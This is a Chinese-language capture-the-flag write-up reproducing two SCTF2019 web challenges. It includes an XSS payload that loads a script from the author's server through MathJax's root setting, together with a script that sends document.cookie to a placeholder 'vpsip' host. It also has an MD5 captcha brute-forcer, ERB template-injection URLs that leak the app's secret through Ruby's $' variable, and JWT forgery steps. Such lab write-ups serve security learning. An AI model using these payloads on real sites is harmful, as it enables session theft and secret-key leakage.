SCTF2019--WEB 2題復現

趁着writeup出了,環境還沒關,熬夜復現下比賽的2道web題

Math-is-fun

一開始以爲是jsonp,但是ctf比賽我就沒成功打到過xss.....

界面是這樣的,一邊可以編輯,一遍會以MacDonald的格式輸出

源碼中可控字段在<script>標籤中,於是可以試着閉合一下

http://47.110.128.101/challenge?name=1;%20alert(1);</script><script>

但是沒法彈窗

因爲是MacDonald的編輯器,這段代碼把,name=xxx中的 xxx給複製到顯示界面中了

注意如下代碼,這段代碼來自對數學公式處理的js文件https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js?config=TeX-MML-AM_CHTML">

那麼會把window中的MathJax存到AuthorConfig

之後繼續查看AuthorConfig發現存入了root

這樣可以讓目標訪問我們自己服務器上的js腳本,且不受CSP限制

但是受MathJax組件限制,所以要在自己服務器上路徑配置如下

www/math/config/TeX-MML-AM_CHTML.js
//TeX-MML-AM_CHTML.js

window['location']="http://vpsip:81/?cookie="+escape((function(){try{return document.cookie}catch(e){return''}})());

最終的payload

name=1%3b%0aMathJax%3d{"root"%3a"http%3a%2f%2fvpsip%2fmath"}

這裏的爆破驗證碼腳本

# coding:utf-8
import hashlib
list='0123456789' 
for a in list: 
    for b in list: 
        for c in list: 
            for d in list: 
                for e in list: #5位數 
                    for f in list:  # 6位數 
                        for g in list: # 7位數 
                            str4=(a+b+c+d+e+f+g) 
                            value = hashlib.md5(str4) 
                            value1 = value.hexdigest() 
                            print ("[*]" + value1) 
                            s4 = value1[0:5] 
                            print ("[*]" + s4) 
                            if s4 == '61aa5':
                                print ('[+]'+ str4)
                                exit()

打到flag

flag shop

這道題是ruby寫的,先看了看功能,是要打工買flag,但是flag太貴了,打工是不可能買到的,而且不能用腳本,因爲每次請求的JWT不同

掃描目錄有個robots.txt,獲取源碼路徑

#/filebak

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

大致瀏覽下,要獲得EVN["SECRET"]的值才能僞造我們的JWT,但是最前面有個註釋表面了EVN["SECRT"]是靠

SecureRandom.hex(xx)生成的,而且參數xx未知,所以暴力是不可能的

繼續瀏覽

這個params[:name][0,7]是可控的,因此我們payload如下

http://47.110.15.101/work?name=<%25=1%25>&do=<%25=1%25>%20is%20working

這樣結果顯示的是

Ruby的全局變量 https://blog.csdn.net/zdq0394123/article/details/8443694

其中的$'是顯示最後一次匹配前的內容

因此利用方法是最先去帶SECRET參數去匹配,這時候ENV["SECRET"]會匹配,結果是不正確的,但是ENV["SECRET"]的值會被記錄在$'中,因此第二次不用觸發匹配,直接輸出$'即可

http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=d

http://47.110.15.101/work?name=%3C%25=$%27%25%3E&do=%3C%25=$%27%25%3E%20is%20working&SECRET=

獲得了祕鑰後就能僞造JWT

把這個JWT丟到一個工具網站去,修改下jkl和填下祕鑰

將生產的JWT帶成cookie去買flag

顯示成功,看代碼的邏輯,flag被存到了JWT中,因此再次解密下JWT即可獲得flag

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章